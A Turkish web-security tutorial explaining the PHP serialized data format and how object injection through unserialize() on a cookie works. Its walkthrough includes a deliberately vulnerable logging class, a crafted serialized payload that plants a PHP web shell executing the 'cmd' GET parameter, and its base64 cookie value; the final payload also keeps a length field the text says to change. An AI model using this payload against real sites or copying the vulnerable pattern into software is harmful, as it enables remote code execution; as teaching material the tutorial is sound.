Object Injection

Kategori: Web Güvenliği - 29 Ağustos 2016 - Ömer ÇITAK
Object Injection

PHP Serialized Veri Yapısı

Serialize fonksiyonu; PHP'de bir object’i, array’i veya bir variable’ı taşınabilir hale getirmek için yazılmış bir fonksiyondur. Serialize edilmiş bir object’in anlaşılabilir ve geri döndürülebilir bir yapısı vardır.

Örneğin "Netsparker" gibi bir class’tan üretilmiş bir object’in serialized hali aşağıdaki gibidir.

Kod:

<?php

class Netsparker{

	public $publicVar = "omer";
	protected $protectedVar = "citak";
	private $privateVar = "diyarbakir";

	public $intVar = 21;
	public $decimalVar = 2.1;
	public $array = ["string", 13];

	public function publicFunc(){
		echo $this->publicVar;
	}

	protected function protectedFunc(){
		echo $this->protectedVar;
	}

	private function privateFunc(){
		echo $this->privateVar;
	}

}

$ns = new Netsparker;
var_dump(serialize($ns));

Çıktısı:

O:10:"Netsparker":6:{s:9:"publicVar";s:4:"omer";s:15:"*protectedVar";s:5:"citak";s:22:"NetsparkerprivateVar";s:10:"diyarbakir";s:6:"intVar";i:21;s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}

Serialize datanın yapısını 7 farklı şekilde incelememiz gerekecek. Bu 7 şekil şunlardır;

  1. Object
  2. String variable
  3. Protected class variable
  4. Private class variable
  5. Integer variable
  6. Decimal variable
  7. Array

1. Object

O:10:"Netsparker":6:{s:9:"publicVar";s:4:"omer";s:15:"*protectedVar";s:5:"citak";s:22:"NetsparkerprivateVar";s:10:"diyarbakir";s:6:"intVar";i:21;s:10:"decimalVar";d:2.1000000000000001;s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}}
  • O (Büyük O harfi); Object yani bir nesne olduğu anlamına geliyor.
  • : (İki nokta üst üste); Serialize yapıda tip ile boyutu arasında delimiter.
  • 10; Class name’inin boyutu (byte cinsinden)
  • "Netsparker"; Class ismi.
  • { (Süslü parantez aç); Class içindeki diğer elemanların başlangıcı
  • } (Süslü parantez kapat); Class içindeki diğer elemanların sonu
  • 6; Class içinde kaç eleman olduğu.

Gelelim class’ın elemanlarına.

Elemanlar kendi aralarında noktalı vürgül işareti (;) ile parse edilirler. Yapı tamamen noktalı virgüle göre parse edildikten sonra sırayla 2'şer eleman alınır. Bu elemanlardan 1.si variable’ın ismi, 2.si ise variable’ın içindeki value’dur.

2. String variable

s:9:"publicVar";s:4:"omer";
  • s:9:; Variable’ın name’inin boyutu (byte cinsinden)
  • "publicVar"; Variable’ın name’i
  • s (Küçük S); Variable’ın type’ı string miş.
  • 4; Value boyutu (byte cinsinden).
  • "omer"; value

3. Protected class variable

s:15:"*protectedVar";s:5:"citak";
  • s:15:; Variable’ın name’inin boyutu (byte cinsinden)
  • "protectedVar"; Variable’ın name’i
  • s (Küçük S); Variable’ın type’ı string miş.
  • 5; Value boyutu (byte cinsinden).
  • "citak"; value

Burada dikkat edilmesi gereken bir nokta var. S:15 demesine rağmen "*protectedVar" 13 byte. Fazladan 2 byte gösteriyor. Sebebi ise eğer variable protected ise name’inin önüne "(null_byte)*(null_byte)" gelir. Yani yıldız işareti’nin (*) sağında ve solunda null byte bulunuyor.

Aşağıdaki görselde çıktının hex hali bulunuyor. Hex olarak okunduğundan null byte’lar açık şekilde görülüyor.

Protected class variable

4. Private class variable

s:22:"NetsparkerprivateVar";s:10:"diyarbakir";
  • s:22:; Variable’ın name’inin boyutu (byte cinsinden)
  • "NetsparkerprivateVar"; Variable’ın name’i
  • s (Küçük S); Variable’ın type’ı string miş.
  • 10; Value boyutu (byte cinsinden).
  • "diyarbakir"; value

Burada da dikkat edilmesi gereken bir nokta var. "NetsparkerprivateVar" 20 byte olmasına rağmen 22 byte demiş. Protected’dekine benzer olarak; eğer variable private ise name’in önüne "(null_byte)ClassName(null_byte)" gelir. Null byte’ları yine protected bölümünde verdiğim resimde daha net görebilirsiniz.

5. Integer variable

s:6:"intVar";i:21;
  • s:6:; Variable’ın name’inin boyutu (byte cinsinden)
  • "intVar"; Variable’ın name’i
  • i (Küçük İ); Variable’ın type’ı integer mış.
  • 21; value

Burada dikkat edilmesi gereken nokta; variable eğer inter ise value’nun boyutu type’dan sonra yer almaz. Sadece tipi ve value'su yazar.

6. Decimal variable

s:10:"decimalVar";d:2.1000000000000001;
  • s:10:; Variable’ın name’inin boyutu (byte cinsinden)
  • "decimalVar"; Variable’ın name’i
  • d (Küçük D); Variable’ın type’ı decimal mış.
  • 2.1000000000000001; value

Burada da aynı integer gibi value’nun boyutu yer almaz.

7. Array

s:5:"array";a:2:{i:0;s:6:"string";i:1;i:13;}
  • s:5:; Variable’ın name’inin boyutu (byte cinsinden)
  • "array"; Variable’ın name’i
  • a (Küçük A); Variable’ın type’ı array miş.
  • 2; array’in içerisinde 2 eleman varmış.
i:0;s:6:"string";i:1;i:13;
  • i:0;s:6:; index’i 0 olan eleman string miş ve 6 byte mış
  • "string"; index’i 0 olan elemanın value’su
  • i:1;i:13:; index’i 1 olan eleman integer miş ve value’su 13 müş.

Object Injection Zaafiyeti

Object Injection; PHP'de kullanıcıdan alınan verinin "unserialize()" fonksiyonundan geçirilmesi sonucu oluşan bir zafiyettir. "unserialize()" fonksiyonu; "serialize()" fonksiyonundan geçirilmiş bir PHP variable’ını tekrardan kullanılması için oluşturur.

Eğer serialized edilen değişken; bir class’tan türetilen bir object (nesne) ise; zaten var olup serialize edilip saklanmış bir veriyi tekrardan oluşturduğu için otomatik olarak nesnenin ait olduğu class’ın "__wakeup" metodu tetiklenecektir.

Her ne kadar PHP’nin resmi dökümantasyonunda bahsi geçmese de; bir serialized veri unserialize fonksiyonundan geçirildiğinde "__wakeup()" ile beraber "__destruct()" metodu da tetiklenmektedir.

Yazının başlarında serialize edilmiş bir object’in değişkenlerine müdahale edilebildiğini yazmıştım. Zafiyetin can alıcı noktası tam olarak burasıdır.

Eğer unserialize edilen object’in türetildiği class’ın __wakeup veya __destruct metodları kendi içlerinde; class’a ait public, protected veya private değişkeni kullanıyorsa; saldırgan serialized data üzerinden bu değişkenlerin değerlerini değiştirebildiğinden sistem zafiyetten etkilenebiliyor.

Örneğin loglama işlemi yapan LogClass adındaki classımızın yapısı aşağıdaki gibi olsun:

class LogClass{

	public $logFile = ‘log.txt’;
	public $log = ‘triggered __wakeup method’;

	function __wakeup(){
		$f = fopen($this->logFile, "a");
		fwrite($f, date("d.m.Y H:i:s").’ - ’.$this->log.PHP_EOL);
		fclose($f);
	}

}

if(!isset($_COOKIE["log"])){
	$logger = new LogClass;
	setcookie("log", base64_encode(serialize($logger)));
}

unserialize(base64_decode($_COOKIE["log"]));

Bu kod her çalıştığında log.txt dosyasına $log değişkeni yazılacaktır.

Log.txt dosyasına $log değişkeninin yazılması

Cookie Manager veya alternatif bir araç ile name’i "log" olan cookie’yi düzenleyip, saldırı gerçekleştirelim.

Saldırımızda hack.php adında bir dosya oluşturup, Remote Command Execution zafiyeti oluşturacak bir kod parçası yerleştireceğiz.

Cookie Manager ile cookie’ye baktığımızda base64 ile encode edilmiş serialized verimizi görüyoruz.

base64 ile encode edilmiş serialized verisi

Base64 encoded datayı decode ettiğimizde aşağıdaki gibi serialize dataya ulaşıyoruz.

O:8:"LogClass":2:{s:7:"logFile";s:7:"log.txt";s:3:"log";s:25:"triggered __wakeup method";}

Veriyi saldırı için aşağıdaki gibi tekrar düzenlememiz gerekiyor. Uzaktan komut çalıştırabilmemiz için bizden aldığı komutu sunucuda çalıştıracak bir PHP dosyasına ihtiyacımız var.

"log.txt"’yi "hack.php" olarak değiştiriyoruz. Byte sayısı 7 den 8 e çıktığından dolayı "s:7" yi "s:8" yapıyoruz.

Aynı şekilde "log.txt" nin içerisine yazılacak değer olan "triggered __wakeup method" u; bizden GET metodu ile "cmd" parametresinden aldığı komutu sunucu üzerinden çalıştıracak "<?php echo exec($_GET["cmd"]); ?>" olarak değiştiriyoruz. Byte sayısı 25 ten 33 e çıktığından dolayı "s:25" i "s:33" yapıyoruz.

Bu değişiklikleri yaptıktan sonra serialized datamız aşağıdaki gibi olacaktır.

O:8:"LogClass":2:{s:7:"logFile";s:8:"hack.php";s:3:"log";s:33:"<?php echo exec($_GET["cmd"]); ?>";}

Sistem bizden bu datayı base64 olarak istediğinden serialized datamızı base64 encode işleminden geçiyoruz ve aşağıdaki gibi bir çıktıya ulaşıyoruz.

Tzo4OiJMb2dDbGFzcyI6Mjp7czo3OiJsb2dGaWxlIjtzOjg6ImhhY2sucGhwIjtzOjM6ImxvZyI7czozMzoiPD9waHAgZWNobyBleGVjKCRfR0VUWyJjbWQiXSk7ID8+Ijt9

En nihayetinde base64 çıktımızı Cookie Manager aracılığı ile "log" adındaki cookie’ye kaydediyoruz. Ve sayfayı bir kez yeniledikten sonra hack.php dosyası oluşmuş olacaktır.

Hack.php

Object Injection'dan Nasıl Korunuruz?

Tek bir yöntemi var; "unserialize" kullanmamak. Zira veri saklamak için JSON gibi alternatifler mevcut.